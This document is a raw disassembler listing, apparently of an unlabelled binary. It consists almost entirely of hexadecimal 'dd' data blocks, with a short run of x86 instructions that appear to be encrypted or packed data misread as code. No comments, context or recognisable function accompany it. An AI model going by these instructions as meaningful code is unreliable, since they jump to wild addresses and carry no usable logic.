		dd 0D90D54E3h, 3A2FA87h, 9DD85B30h, 705A4DB2h, 9C4C5042h
		dd 42505619h, 704C25ABh, 0A161C09Eh, 18806263h,	0D9C3C485h
		dd 4C00F618h, 4F5AFED1h, 9403A059h, 8FF500F0h, 7B2F1C32h
		dd 5A0CC509h, 20180FC3h, 0CB7278B8h, 791264E5h,	1C50DC92h
		dd 7D8CA83h, 0D137E4B0h, 2B4954Ch, 2A7861BBh, 80ECF854h
		dd 9DA971Dh, 0D07183FCh, 28B56144h, 40C0562Bh, 0C7F51714h
		dd 714EC3DAh, 297C4044h, 0B00CCCA3h, 97815A67h,	8C994874h
		dd 8130458Eh, 98BE9D9Ch, 4F4C623Eh, 49C63723h, 93929450h
		dd 0D98A1E7Ch, 3D40E85Eh, 588193CEh, 0C848C4A9h, 7851E0C6h
		dd 0C1A76397h, 830C59Eh, 0C8CC595Eh, 9892C040h,	5C00094h
		dd 0A14761AAh, 3C171BB9h, 64A2161Fh, 98495974h,	1E3AD505h
		dd 0D260C0B3h, 6D416648h, 9104982Ch, 0BCAEAB81h, 0ECC4F418h
		dd 0D20730F2h, 0ED70A19Dh, 0C5888210h, 60442B6Dh, 21B5A4Ch
		dd 0E6450C63h, 0E8A0252Fh, 4DCBAE61h, 97608560h, 0C38DF9h
		dd 58A59027h, 0C66B948h, 6C6091D7h, 322F2446h, 88990F63h
		dd 81F0404h, 182565A6h,	4D78CBD4h, 601E70A7h, 9C61688h
		dd 0C8F07FA8h, 2FFB4097h, 7FA3FC77h, 9BE62694h,	0A0798008h
		dd 0B6613934h, 1CEACB16h, 0D498CCh, 0D333F054h,	6AD31D7h
		dd 959DBB1Fh, 21B07837h, 1930373h, 880F1929h, 0CCBB90B8h
		dd 0F9034E8Ah, 0C5DB3B7Eh, 0DA6790C2h, 4D470F77h, 42E0C839h
		dd 33123DA5h, 0F09F737Fh, 0F6C606F8h, 10F9485Ch, 561D2617h
		dd 8DDAE500h, 0F8CB1F95h, 9ABE00CCh, 94AB6348h,	0F6C1AFF7h
		dd 87405C41h, 96393980h, 1EB7F91Fh, 35B9E407h, 3EB08420h
		dd 3AB089Eh, 26C51CCBh,	7878A905h, 0A255351Fh, 0D7F81420h
		dd 0E700DA4Ch, 3E870F7Bh, 63905470h, 307EAA30h,	3D4CDB8h
		dd 0BE7A3BA3h, 0C80017EDh, 4209BD56h, 0F8CBEFC6h, 0A80263BAh
		dd 1FF055B0h, 0CE3C4CFFh, 0B1353FD7h, 82671A7h,	0CC8D4440h
		dd 0BFFD8002h, 802DC730h, 0F8E6F90Dh, 0B3B51888h, 67FEA020h
		dd 9C8DC70Ch, 3330A0h, 2913426Eh, 0BAEE46F0h, 653CC600h
		dd 204CBEE4h, 0EE5EE0D6h, 0D4C2505Ch, 8F60C62h,	0D7E07F24h
		dd 7180846Dh, 0C36A21E0h, 0CEB1B6F0h, 807901C1h, 872FB720h
		dd 600B8D93h, 0B4C678A3h, 9B320DCEh, 82FB102Ah,	8487689Ch
		dd 0AF0147D4h, 508C2810h, 0C1B1C610h, 8FC9B03h,	0F00F2583h
		dd 508D9CFFh, 69F1458h,	0EA96FDE7h, 0B605BA0Ch,	0C6DE66A4h
		dd 0A7AAFC0Fh, 44C072C2h, 3ADB7188h, 0D7964693h, 0CA8205E5h
		dd 0C29400B4h, 80A409D1h, 45C51103h, 0E4F71F6Ah, 3C2115BFh
		dd 4E8E4600h, 1C4AD92Ah, 0F650AE78h, 0BE18C208h, 0AAC854DEh
		dd 0FAF42010h, 0D78A5B15h, 820600E0h, 35C7D816h, 0A9DC3C5Ch
		dd 6751F150h, 905E3824h, 3D9A731Eh, 0F699F700h,	3ED3236Fh
		dd 0AC8A506Eh, 0A7FD00C5h, 0BEBAB537h, 39CB28D5h, 6CC20A9Dh
		dd 4860C18Ch, 723A30C3h, 0D71F5921h, 4979CC3Ah,	0BF81C70Ch
		dd 8FFAB8C2h, 23D81CA4h, 0F1F261B8h, 65AEE450h,	914609FCh
		dd 0B0228E8Dh, 4C48A5ACh, 1D000CD4h, 35DA7004h,	8A2E6Ah
		dd 0D0A60179h, 946CCA18h, 0A3F91200h, 4C5CB3FEh, 62B51D66h
		dd 0BEA8B0CDh, 46807542h, 9C7F4983h, 0BB9A5B0Ch, 0C0A46C60h
		dd 0C2B3C612h, 72F8460h, 19AF0E87h, 28981D5Ch, 905430BEh
		dd 0CA0788D8h, 5C5D3732h
		dd 0C44AF115h, 2D00203Fh, 1D978777h, 346950C9h,	0CB27EA3Eh
		dd 478F0A20h, 10755006h, 0A626F100h, 62E47F6Eh,	4631C0CCh
		dd 0E1F882E2h, 0BE382006h, 24D05BD1h, 19C2DA1h,	845C7377h
		dd 0C3F88545h, 5B80066Eh, 0C080AD3Eh, 9AB3BF58h, 13125D5Ch
		dd 9C089288h, 0F7FB0A96h, 0EF9108CCh, 4860E312h, 3A9BBAh
		dd 0BDFC60A6h, 0EAB535AAh, 1014EB13h, 7D6B8C01h, 0F8F38BA4h
		dd 7CD1879h, 1316A6B4h,	48F8C65Ch, 4CC7FB12h, 29EFC404h
		dd 7EECE200h, 651FD327h, 8B000EACh, 241E2633h, 0C15724D5h
		dd 0D2CD0660h, 36006803h, 869FDCB5h, 0C8E33A8Dh, 44961A9h
		dd 2001290Ch, 80DA04DBh, 4CEF1E18h, 0A050545Ch,	9044CE8Ch
		dd 84CF4808h, 1349E980h, 6C00FE82h, 3593A71Fh, 0F6338717h
		dd 48DE4C20h, 4808A7Fh,	4E0B110h, 5EE5AC07h, 0D0BCE8BDh
		dd 4B45147Fh, 8DC2FC25h, 5483F074h, 0C68B58BFh,	4C2E28Ah
		dd 0A1600800h, 754261Eh, 0DA40311Ch, 0B2D6031Fh, 2328C1CFh
		dd 344E6AC0h, 7630E500h, 0FEE17FBDh, 0E41D0004h, 0D49266BCh
		dd 0C04CC657h, 61CF1014h, 767E604h, 0F634C2ACh,	0BF2BC040h
		dd 8D94A704h, 93F128h, 0DB1BE0EFh, 34F902F6h, 2F98D03Fh
		dd 9BB9C063h, 139430FAh, 0CBA45Ch, 37786E35h, 91D59EFh
		dd 92348E2Ch, 2D8D9498h, 0A711A567h, 0D4C01083h, 0F100FF4Fh
		dd 47DB3EC9h, 1E3F1C3Ch, 9E945BACh, 9BCE1CD8h, 218EA700h
		dd 50A65C0Fh, 26DC46h, 0E40A9E1Ah, 86AB6892h, 724EAE00h
		dd 3AAD2366h, 373E14D8h, 3000A034h, 9C31CD56h, 0B0164FFBh
		dd 241F1F2Ah, 1A166090h, 0BE7821A8h, 9480FEC7h,	308DB5FAh
		dd 0BA2E2F09h, 5C580120h, 2881DC18h, 5F8E1383h,	585C33FBh
		dd 7FBE1F18h, 0C48750A2h, 62784CBBh, 277BAA0Fh,	1F74F640h
		dd 4C128FF8h, 842386C7h, 4604C477h, 0FD48C8EAh,	2FC5620Ch
		dd 4024B017h, 44122E6Ah, 10200625h, 0F4A25C2Bh,	906492A1h
		dd 0F8BE18B8h, 2B9120AFh, 97A2570Bh, 5BA82727h,	0E01005E8h
		dd 20C4308Ch, 0B30BEC8h, 40CC8819h, 0A10A0007h,	0E78A4E1Dh
		dd 3E285CD4h, 23328022h, 0F1EC0FFh, 18939D86h, 7E7203Eh
		dd 0D3EB4D9h, 3048ECE5h, 6178081Ch, 0E54EA304h,	48A48Ch
		dd 0DF1E7F81h, 0D896DB4Ch, 5471D424h, 172D9158h, 33012559h
		dd 4CE4B990h, 70C73024h, 686960BEh, 0A55C8EF6h,	2C1C4348h
		dd 0A9B700CFh, 8E6F6300h, 0AC424C68h, 0E0B5E400h, 0F6C20667h
		dd 0C3C59A04h, 0AC1179A7h, 0D5692Eh, 0F046F48Ah, 7188CFEh
		dd 0C6F06474h, 1290D37Bh, 0A12C3194h, 94F83023h, 255A2D0Ah
		dd 52885C04h, 2FBE84A2h, 0D008811h, 0F6682303h,	0E42C5Ch
		dd 678BA220h, 103E85FFh, 640425FDh, 38603188h, 0E99CBE51h
		dd 0DB281CC7h, 3B8F7973h, 21924DE6h, 9B0860h, 1D463CF6h
		dd 1E23F568h, 2C243AC0h, 415E0014h, 3C746A1Fh, 91E9A800h
		dd 5CDDDBF2h, 0B2041431h, 28268460h, 73320350h,	0C2A83826h
		dd 0C51F87FAh, 0C836AB8Eh, 202F00D8h, 0BEE61996h, 8C9479F1h
		dd 7F82AA80h, 24B31C0Dh, 0C587160h, 9201040h, 431B731Fh
		dd 0F000046Ch, 0F6EB90E3h, 2A8E2419h, 1DE29728h, 0CF4A09EEh
		dd 1DBE98A1h, 965E008Dh, 46658E4h, 4C9DD0DDh, 4145248h
		dd 0F9A93D28h, 5C1464C0h, 18F5617Fh, 0DD4CB7ACh, 33146020h
		dd 132B1E25h, 348DE4ACh, 0C952A811h, 8E16A500h,	24471B24h
		dd 0D3A0742Ch, 0A6318763h, 0CDA5FB33h, 0B6050800h, 1C93CD14h
		dd 0FBBED012h, 0C3C334C8h, 1052415Ah, 0E458508Ch, 0AC49A098h
		dd 46E85420h, 4C813490h, 73EFE1C9h, 28071068h, 8C60BD08h
		dd 0BACD8D8Bh, 0A3304048h, 510303A6h, 0F9CA8DEFh, 0BECD401Fh
		dd 0C828C09Ah, 2EA3CEE4h, 68640D3Ch, 7A5C05B8h,	3C74CAF4h
		dd 482BB18Dh, 0E060BEA3h, 20E4EA44h, 0F40FC5D2h, 80877621h
		dd 962ABCA4h, 19A60017h, 9561641Eh, 8A0F9CFEh, 1E4066Ah
		dd 0C9417A73h, 98619AEDh, 8DAD0800h, 0ACD959B4h, 13FC6229h
		dd 0BEA40448h, 0FF84D0BBh, 533A1B56h, 0D89878C7h, 44608D2Ch
		dd 488857B9h, 0A40C00D4h, 0BFED9CC7h, 14230642h, 38926A1Bh
		dd 71CDB930h, 168BCB1h,	0BBC6F50Dh, 304CB05Ch, 5E40C134h
		dd 8B1C30BEh, 0BA35AC58h, 70B44091h, 0D80A88D7h, 8064E342h
		dd 3EA43BA7h, 18DB6252h, 1C80A566h, 0FA1314A6h,	105CEF49h
		dd 4E732506h, 0B4183007h, 26028AE8h, 0E41318A6h, 12647268h
		dd 0D3FDB23Eh, 5DC12498h, 7C9474E9h, 23EF341Fh,	0AA0A0824h
		dd 10B0881Ch, 0BBE48F5Eh, 0DAB008B0h, 0F8204518h, 0F61F267Ch
		dd 59FA03C0h, 20DE6B3Eh, 0C0E00A4Ch, 368D95A5h,	68F1CADAh
		dd 7981728h, 0C9CCA940h, 8B00806Ch, 179ED1BCh, 7AC8BDA4h
		dd 4029678Dh, 0D409C0C9h, 8C006A14h, 98746935h,	11ED81Bh
		dd 0B0FC1734h, 31CE1AACh, 0FAE10088h, 82308DE0h, 0D3C740F2h
		dd 0C2BD03C6h, 2DA93E28h, 7745A819h, 1462A4D0h,	1C10FC27h
		dd 99CA9624h, 0F145DCE9h, 0D914E404h, 0BFFEB4D1h, 603C8DD0h
		dd 87F5201Bh, 72010AE7h, 0DB0F0371h, 0FCE1EC59h, 64A89074h
		dd 0C2C5F846h, 9600DF84h, 154AD66h, 68618B1Bh, 2037E34Bh
		dd 20C02128h, 0A164510h, 0B63500BBh, 26949D97h,	11E43EE0h
		dd 0BE3C0CBAh, 82E21AA7h, 59F04811h, 0E46D531Fh, 0AC28D72Ch
		dd 0C44501E8h, 0F042FC19h, 38C01670h, 0AEE35638h, 3DA0B868h
		dd 0D0038B43h, 0C5E08D96h, 0D4C8E002h, 6C1DECA3h, 0E01C0128h
		dd 5C11D8E2h, 1E6200B5h, 88366822h, 3B842C08h, 0DEADF083h
		dd 3690B414h, 21CBA6BAh, 14F00DCh, 3F043E83h, 18621C5Ch
		dd 2C6289FFh, 986CB809h, 0E2F64B02h, 8150FDBEh,	0BF359394h
		dd 0FA3CA022h, 2984753Fh, 0D1C845A3h, 41AEFF54h, 62D633C0h
		dd 8E468520h, 106DF425h, 612BF002h, 80E9C7C8h, 24A0A208h
		dd 86308D9Bh, 0BE3668B7h, 0A05F6B74h, 0E4271009h, 8C124F81h
		dd 9C401494h, 3E32375Bh, 90C39951h, 30D6A3C3h, 0BED2FB04h
		dd 20A2402Ch, 17BC7C4h,	0F81F44F6h, 4DBDC74h, 6C5C955Eh
		dd 3A250040h, 1E431A51h, 1447B58Eh, 13160802h, 0CA8C22D0h
		dd 0C220A072h, 1FB02C76h, 0B8C51514h, 2D0A6447h, 4584A143h
		dd 2F6088FAh, 5E60C182h, 0BD01E83Ch, 208DAED3h,	0F6F98881h
		dd 3ED1032Bh, 3828C407h, 1FBC07Bh, 0D084DFF8h, 820F3EB1h
		dd 64E41FB0h, 0D77C5898h, 9852F22Eh, 42255D8Bh,	0C08C5ACh
		dd 0DA48D724h, 0EE0050B8h, 0E49B7D77h, 33F33BAh, 0B1C6A587h
		dd 80856DCDh, 933489AAh, 1D5DE43Fh, 46C7F174h, 958018BBh
		dd 4EBD5CB9h, 45BC1C58h, 80FBAEA3h, 33CC5200h, 841E5638h
		dd 3CB88ECAh, 200020B2h, 68ADD7CDh, 4F3CC5DBh, 8BD30086h
		dd 96A84241h, 0BE340AABh, 2CB42E21h, 89B900CCh,	41E44F94h
		dd 0C65D313h, 7B872500h, 0F81CDF96h, 0B7CF0BB1h, 50017C7Fh
		dd 480ED6C1h, 0CEE2B580h, 0C051442Eh, 5D8508h, 0A4268246h
		dd 0C26740CBh, 7C2AD30h, 6CE0C0C3h, 37A7D84h, 5C363E56h
		dd 0DBE04FF6h, 0C70F0626h, 0A339E6h, 65C09058h,	0F9BE2622h
		dd 1A79358h, 6F3EA578h,	0BFC84042h, 48B887CFh, 0C4A8992Ch
		dd 3913DB9Fh, 7093BC85h, 10A2BAAFh, 0F5DECBEh, 18FC5994h
		dd 16102F30h, 65260F83h, 51792CDCh, 9E07732h, 13C743FDh
		dd 0A1CE9A3Ch, 0C626B384h, 1D8CA2D2h, 822C6AC5h, 20DA126Ch
		dd 0C2F0818Eh, 28F364E2h, 3ED40F3Ch, 0F3381815h, 0A2D71751h
		dd 0B341FADh, 80268F01h
		dd 0E320F8F2h, 6A760041h, 8096064Dh, 2B2C8ABEh,	0E3E02863h
		dd 36C245Eh, 8D92D2B1h,	18000D6Ah, 0ED749CC6h, 0A88A62DBh
		dd 8030F088h, 293CF398h, 5431A4CAh, 0EAC0E51Fh,	0C59BC62Ch
		dd 6CC93D1h, 0F04A2F5Bh, 0D090CF7Fh, 7C183E12h,	0EE9074CCh
		dd 26927DA6h, 0BEEC10ADh, 87488712h, 5CE2BE38h,	68ECE381h
		dd 0A8908490h, 1A68EB67h, 5B4893D0h, 2105BBDh, 0A61BAF54h
		dd 2E0268E6h, 96870724h, 96C732Dh, 0D019A435h, 62801DFh
		dd 61AA5BF8h, 8C3E1823h, 80386C47h, 108E6FDBh, 0B49849h
		dd 0E92FAC1h, 0FE95364Eh, 0B2322A03h, 135B1C33h, 40E9A8D6h
		dd 66E78F54h, 0D4384ADBh, 4CDA625h, 69C52002h, 3E24E0D2h
		dd 0E05C5022h, 6E342C18h, 6FFD62A0h, 0A8520D01h, 0A52848h
		dd 82AF27Eh, 55362DB4h,	0B91DD72Eh, 8E188539h, 0F849C4E6h
		dd 405C4465h, 0AC418483h, 28A4ADCCh, 2DB82556h,	0ECA0BC09h
		dd 82E677D1h, 0A444175Bh, 0D1343D37h, 8BE9482Ch, 20189850h
		dd 26D96938h, 22502402h, 0D7290860h, 53509425h,	8F20C0BAh
		dd 0C3B230C4h, 0D4BD4D05h, 78A278h, 0CABE9194h,	266C2EBh
		dd 0F62B1D0Ah, 0E0C1A45Bh, 4C0829F1h, 5C1B040Ch, 0E8F055CDh
		dd 0EFDB0132h, 258E4E88h, 63788036h, 2B8446B0h,	4CB209C8h
		dd 4E8EFF6h, 60EFB798h,	0BE208DB8h, 0C4F95D38h,	8B155C0Dh
		dd 0C0027B8h, 18E0515Bh, 373E10D5h, 0A32B1217h,	0D486D006h
		dd 0F72C8810h, 20E08027h, 5C184090h, 0D41F250h,	0BDC703E9h
		dd 8BFE8D9Ah, 98AA2829h, 0F809D100h, 4B4DFD4h, 97BD69B5h
		dd 8DDCD17Dh, 18B46872h, 0CDB0FF2Dh, 109500D8h,	34ED8C1Dh
		dd 5A5BAF5Ch, 1C985012h, 0AB042A26h, 50289ED0h,	9864DD5Ch
		dd 0D0A06628h, 14FF4D17h, 2AE610h, 3C308D16h, 1DE3290h
		dd 0B92D91D6h, 7124361Eh, 0B44262Ch, 0EAAE59FBh, 0EABC21ACh
		dd 296017Ch, 4CA85E02h,	0AD1269B2h, 3B6364FEh, 0F6C5820Ch
		dd 3F35E02Bh, 69905C25h, 19AE3B28h, 7549853Ah, 57595F00h
		dd 0E21B6951h, 6A1AF640h, 0F1024A03h, 7592F0EAh, 0CF84485Dh
		dd 5C8C3C1Ah, 0F8023710h, 7AEF22C0h, 15F3898h, 8803C884h
		dd 0CB8C253Dh, 0D8052999h, 0DCE0EA9Dh, 0ED82C0E1h, 8A8A21A1h
		dd 9C05824h, 26FDEA06h,	6D2E060Ah, 956FE708h, 0E6323E20h
		dd 3425311Dh, 0B98A5D06h, 51E78096h, 0E566A669h, 0EA590C64h
		dd 54302479h, 7228BC00h, 0E4C23140h, 0CECE605h,	0CC5EA08h
		dd 0DE32F822h, 271D6257h, 46E927C9h, 0FE7F09C6h, 0C0EC8430h
		dd 0F0252D88h, 67ABA805h, 848CC08Ch, 0D8F703C5h, 0B23F52F2h
		dd 81D0BF87h, 2996055Ah, 0EAD02DF9h, 0FD4B6D3Fh, 53E6CC48h
		dd 0BBDBB00h, 0F3821784h, 20DC1B9h, 9F158CD6h, 0C694055Dh
		dd 3E348C94h, 0D06D932h, 40FF545Dh, 8A510547h, 0EA1854E1h
		dd 59386561h, 0ECBA0052h, 8236DD03h, 0BDA402C2h, 696A6628h
		dd 0D5030541h, 1450738Ah, 40C482E4h, 3BF570Dh, 3718830Dh
		dd 7C04864Bh, 0B3731F0Ch, 74EC0059h, 20E510Ah, 81CF468h
		dd 14B9293Dh, 3F3A3C00h, 82C42A6Fh, 51F080Dh, 6E42102Fh
		dd 7590155h, 98EA3950h,	7F51BD2Eh, 49BD139h, 21109DBh
		dd 0DBB64A10h, 0F9BC80h, 2E19550Eh, 33A6789Ah, 0D50FCBA2h
		dd 0DBF81640h, 0DE491AEAh, 27C60361h, 0DA58B172h, 423449ACh
		dd 0D46046D8h, 15204C0Ch, 0C382E314h, 8E06909Bh, 0C8471253h
		dd 60BA905Bh, 69976B98h, 161649D5h, 8BBFF860h, 600CDF23h
		dd 1A29FFEAh, 4E240F69h, 9E497668h, 3FBC6820h, 7E3D216Eh
		dd 436EFE4Ch, 0DDBCC71h, 6020F85Dh, 63CE9594h, 0E890A551h
		dd 0F44DD67Dh, 6D67781Eh, 0E7A35EA0h, 0F6147606h, 7B2E78D9h
		dd 56486343h, 0B07FF159h, 815BD407h, 0AAE3D5ECh, 8C32286Eh
		dd 655391BDh, 4FD05459h, 0AC0373Bh, 31C4EF48h, 71D6DD76h
		dd 0A70F8054h, 875E20BBh, 0AE38252h, 0EC12146h,	0E6F41FAAh
		dd 42EA0660h, 89003211h, 0FB2959E8h, 7B055C67h,	2DD13A23h
		dd 5380A949h, 0C78165B7h, 0DDEFCCE1h, 6467EA76h, 3673FC8Dh
		dd 59DC0649h, 0C8909E9h, 7C7F4848h, 1F6D6A3Eh, 2A8CD7F7h
		dd 0EC5D1C5Eh, 0C1F63AAh, 23E94E5Ah, 6102C325h,	0D10834D0h
		dd 3C65C001h, 6EC4F624h, 55012004h, 8F1359E9h, 0FE14870Ch
		dd 1077E10Ch, 0C8B3C66h, 7A0A688Ch, 40DC8912h, 6055E7CFh
		dd 4C3A1F33h, 1D8F37E9h, 5C01A320h, 242C2B07h, 394A8B54h
		dd 7F286861h, 81BF2752h, 9347E90Dh, 0D1D78F03h,	9B45685Ch
		dd 989C898Dh, 6042E9E2h, 0D4F61497h, 17AC480h, 46D1520h
		dd 271AFDBBh, 5217D023h, 0C1004D7Dh, 0F78105E7h, 766D6714h
		dd 30CF1C69h, 47007C22h, 0E9FFC783h, 7DA38C12h,	0C2538233h
		dd 890A051Ch, 0CC381E3h, 0E90C8357h, 1082A830h,	29E68956h
		dd 81AEC681h, 0D02C96BDh, 0A5EDF04Bh, 0C1740A67h, 0E5300467h
		dd 40BCE907h, 0CE77FE42h, 0FFEE241Ch, 4E4CAC5Fh, 7351A03h
		dd 5D3402DAh, 8324328Bh, 7568A787h, 0A28E5816h,	8A4903E9h
		dd 94D93B8Ah, 9E663873h, 0BB0D3D4Ch, 3E57F2C7h,	537E74FFh
		dd 4911B85Fh, 536A603Ch, 6C7B850h, 310C8545h, 0E9183044h
		dd 0C36B71FDh, 0FAC9858h, 5DC6214h, 880810C4h, 0FD60D55Fh
		dd 58E728CEh, 0F8D4FB04h, 0AB50E92Ch, 0C7020DE9h, 73515C2Eh
		dd 0A3067C46h, 248904ECh, 77BFEBEEh, 33485520h,	631364Bh
		dd 691EFC0Dh, 84827787h, 42E08085h, 5A70D328h, 1AE9C30Ch
		dd 77B62265h, 8D3136EDh, 0E1E640E9h, 4471577Bh,	0DDF8DEA9h
		dd 0C1FEB1Bh, 0D943C4B9h, 284C294Dh, 498FFF8Ch,	0E9826C59h
		dd 0B22D0738h, 3168E0CCh, 61F0A90h, 598642DBh, 414C984h
		dd 48590BC4h, 0F2768C21h, 7A2C28F9h, 0D8F1A13Dh, 126FA7DBh
		dd 98084664h, 4CDDAA95h, 4841845Ch, 0C91BC155h,	5DB53111h
		dd 81E5D2E8h, 2C18364h,	1F5D0C87h, 9BB2528Eh, 0E95AD000h
		dd 34D4E8DBh, 227A4465h, 0D6184D45h, 65B05Ah, 625D7E9Dh
		dd 96E9DBF7h, 1D810340h, 0D84B8DEAh, 0FE5261Dh,	0DA2995A0h
		dd 0E95BA5C1h, 2E8D83EDh, 606D20B8h, 3004819Ah,	2A981D88h
		dd 2D8A6B84h, 994AB618h, 0AED4E158h, 0C70F8F6Dh, 5AD356C8h
		dd 8624485Dh, 76FA652h,	947989C4h, 9C890FC6h, 48D6DE26h
		dd 0CAF61784h, 0CD4749h, 7F7DC918h, 62428F50h, 5258C338h
		dd 0A0843941h
		db 6Bh,	0A6h, 5
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 409C5814h
		push	es
		add	ds:4DA8759h[ecx*8], edx
		pop	esp
		jmp	near ptr 0C4DDD598h
; ---------------------------------------------------------------------------
		mov	esi, 56294063h
		add	dword ptr [ebx], 683A5112h
		push	es
		pop	edx
		retn	89F2h
; ---------------------------------------------------------------------------
		dw 2F07h
		dd 6F3B8410h, 5854B1CCh, 3641385Fh, 0C0870608h,	0D1215C22h
		dd 4C417BE9h, 127F803h,	3BBE56BFh, 0ED32D443h, 8888F6A0h
		dd 0FE89C3BCh, 895FF924h, 2666E2h, 0CA87D129h, 0D8608BF2h
		dd 4D9CF41h, 0C11A13C0h, 0E78504EFh, 30DD1F60h,	44BD21D5h
		dd 2F253BAh, 429723F5h,	18AADAA8h, 8A5EF5A8h, 8CD70F41h
		dd 2302C677h, 31B2CD33h, 8B0D9E06h, 8298CC3Ch, 9A634468h
		dd 0A8EF45C2h, 2FC426A5h, 0D0944477h, 37E52D42h, 2954C70Fh
		dd 1FA586D0h, 59D3ECA1h, 5189AE85h, 0B8683E81h,	29DB2374h
		dd 0E981D6BDh, 27A842ADh, 0C0F20CD4h, 8B28C1C9h, 0EEECCC0Bh
		dd 8D4D1D3Ah, 0A4CE291Ch, 0C2920804h, 0EAC102E5h, 62195E40h
		dd 16BC0899h, 1471273Bh, 0E0068356h, 3ECFEDF6h,	0A6298B5Eh
		dd 6536522Bh, 22ECA176h, 0A76866A9h, 51ECD9B1h,	280DB4E8h
		dd 3BACE9C8h, 70D1D100h, 0C1170C72h, 0DAAE05EEh, 60534719h
		dd 69F0612h, 51E60102h,	9E3F5408h, 0BE8029E2h, 0E9F309D3h
		dd 8F11529Fh, 8F54C605h, 428A1D49h, 5D14532Ah, 62046D61h
		dd 10124D24h, 0B8004284h, 1B9543E5h, 587DC731h,	7B649226h
		dd 98120E69h, 5DFED61h,	31B2A4ACh, 7B75C2E8h, 13F78000h
		dd 30CF75FEh, 3E10C0C7h, 941CB050h, 51875C34h, 0E6271F04h
		dd 557C670Ch, 6647C5DCh, 23D1F384h, 71BE7A68h, 0A7190515h
		dd 4A14D32Ch, 10211AAh,	0E99DC380h, 4C96F183h, 5340750h
		dd 0BE8C0804h, 1DC5BD74h, 4B40CC46h, 5005EF29h,	0BA73415Eh
		dd 200F05ECh, 0B5039B6h, 47059A1Ah, 0D52937BFh,	9088010h
		dd 271809E9h, 4F755F76h, 1A6855D0h, 47DF2431h, 5ACCA429h
		dd 5F4ADE83h, 7FBB0D07h, 2992D609h, 5B17C05Ch, 25B99201h
		dd 0D1A5F3Dh, 0FCE91501h, 3132240Ch, 0CE062CD2h, 9BB6379Bh
		dd 8298A45Ch, 39532385h, 64935641h, 8AC45ABDh, 0FD159145h
		dd 1AB91392h, 17A926AAh, 0F6515A4h, 6802B22Ch, 40280FB5h
		dd 810D8803h, 65E3047h,	0F2F78109h, 21DB82F5h, 3183E1FEh
		dd 30498D04h, 37043E7Ch, 0F201628Ch, 8228684h, 50DF695Eh
		dd 0C1553B60h, 1985E335h, 0DBC1E115h, 44F36A16h, 180071Ch
		dd 9685BDAh, 58A8944Ch,	5503C281h, 1699513h, 88241FAh
		dd 8320D822h, 36093348h, 180D0631h, 0C33962E9h,	4A135986h
		dd 0AA5C8938h, 0DD6195FFh, 1E2F6297h, 0DAF70278h, 0FE0C49C0h
		dd 1BD0F09h, 906309D5h,	90F5299Eh, 75561C2Bh, 339A464h
		dd 3EAF2574h, 1E5E9524h, 0E9D5F7C0h, 0E546048h,	840FC00Bh
		dd 686F5761h, 0E4734458h, 1831B900h, 0F7514E25h, 505976C0h
		dd 3F7326B8h, 0C19F33DCh, 8766C58h, 873F20A9h, 501415A4h
		dd 1F2C3F7h, 4B74C2DDh,	81CFB870h, 4E9D09EFh, 0A9827DA6h
		dd 0C0CD891h, 0B66154DBh, 134E2E5h, 0EDC16625h,	0ECDDF702h
		dd 6518BAF5h, 8EF67863h, 6F763901h, 1978EEACh, 63C13D5Eh
		dd 0E90C20C8h, 59E95C74h, 542BE6D1h, 9BEE20A4h,	29329A45h
		dd 0E8C19F30h, 96F60B69h, 2CE4B397h, 7590493Ch,	969056DEh
		dd 4A690859h, 1C967C37h, 3688D22Ch, 0FA929AB1h,	0CA88AC1Dh
		dd 0DE208FA8h, 28C2807Ah, 1A1B023Eh, 5E092D40h,	0BF579640h
		dd 6DEA6B01h, 3C69E98Fh, 9C066FBBh, 0C45410Ch, 0A57BB40Fh
		dd 3D316543h, 5EA52494h, 8FCF8928h, 88E32416h, 5A450DFAh
		dd 0C20A0D63h, 2EA08358h, 6A68849Ch, 48A6B237h,	41580153h
		dd 44817EC3h, 63111500h, 5B010726h, 0E9C13BA4h,	41925613h
		dd 5ED12E3h, 834BBC36h,	0E5F8695Eh, 0D611F711h,	0BF0FC2E9h
		dd 25E96F8Ch, 49C51F80h, 0CEB832F1h, 0E00BED0Ch, 70CE0C18h
		dd 1D00ACDh, 1F985FFEh,	7B55C764h, 4F6AFF83h, 18FE4AC1h
		dd 0F75FF6FFh, 0BA52D701h, 7D1F7B90h, 0EA34A81h, 0FA294B42h
		dd 8066942h, 0F6091E5Ah, 0E4F87486h, 0CCE91213h, 83744ED1h
		dd 0E18140FDh, 334A397Fh, 479062B0h, 460BFDE8h,	3293664h
		dd 58F7A2F5h, 4C9E7034h, 0BDF02C9Ah, 667331Fh, 0A1533A75h
		dd 7B815C34h, 3101806Bh, 733160FDh, 4A087E49h, 648D2B12h
		dd 655D0792h, 5FCFD277h, 5B7F1D50h, 732CCF05h, 98532B40h
		dd 4FED0806h, 41B81E75h, 0CC2F1E0Ah, 7761025Dh,	589D1C0Bh
		dd 0DB351011h, 5BD7CBD0h, 0E4A0A409h, 0E7C1DFF7h, 10170858h
		dd 7C4054B3h, 896B404Ch, 0A159CD24h, 78270500h,	0F1EB011Ah
		dd 0C6088DCAh, 531202FDh, 33596E42h, 0EEB47231h, 0E2DD8801h
		dd 1B4B1F72h, 4A046549h, 0B2264C25h, 13299182h,	5F639005h
		dd 0E913E0D3h, 20536621h, 0E5A3A174h, 0EE1A5D26h, 1C68A0D0h
		dd 4B839243h, 350F00F2h, 0EE2090C5h, 14EF10CCh,	0EBFA5029h
		dd 617845A8h, 200CE561h, 0FBB8C9F3h, 9F56D624h,	0B32B3902h
		dd 85DEC36Ah, 9EF5A360h, 6F042C5Dh, 9490300Dh, 284C9D5Bh
		dd 0E9050F68h, 0EB29A19Fh, 0D322C8Bh, 83DA8913h, 0E7B0579Eh
		dd 4E600FE9h, 4111BDFDh, 6A3D5C75h, 51A27326h, 33055C05h
		dd 45CB8FA2h, 0E93BCCB4h, 80DD3A24h, 0A95452C2h, 0F0909E4h
		dd 0E9137034h, 0C02FC0B8h, 70F002E5h, 6805FBB4h, 6A8D5355h
		dd 0A3E388D8h, 0D3C362FDh, 0B6A97FE9h, 40B7FE05h, 5EF131B2h
		dd 3992CB21h, 0C4345A02h, 40D829ECh, 80F58D24h,	74C48F64h
		dd 71E67C7h, 0ACB60F66h, 8D9E067Eh, 9C92ACAh, 4E56BBC8h
		dd 413746FBh, 2D7EE117h, 0A12CA0ADh, 0A7E1C022h, 820B839Ah
		dd 0E9E50B66h, 3FA11AA7h, 0F49F55AEh, 8F0050B8h, 0F0296A6Bh
		dd 1FA355Eh, 8927E94Ch,	0D85158C6h, 719C8887h, 0C0868E1h
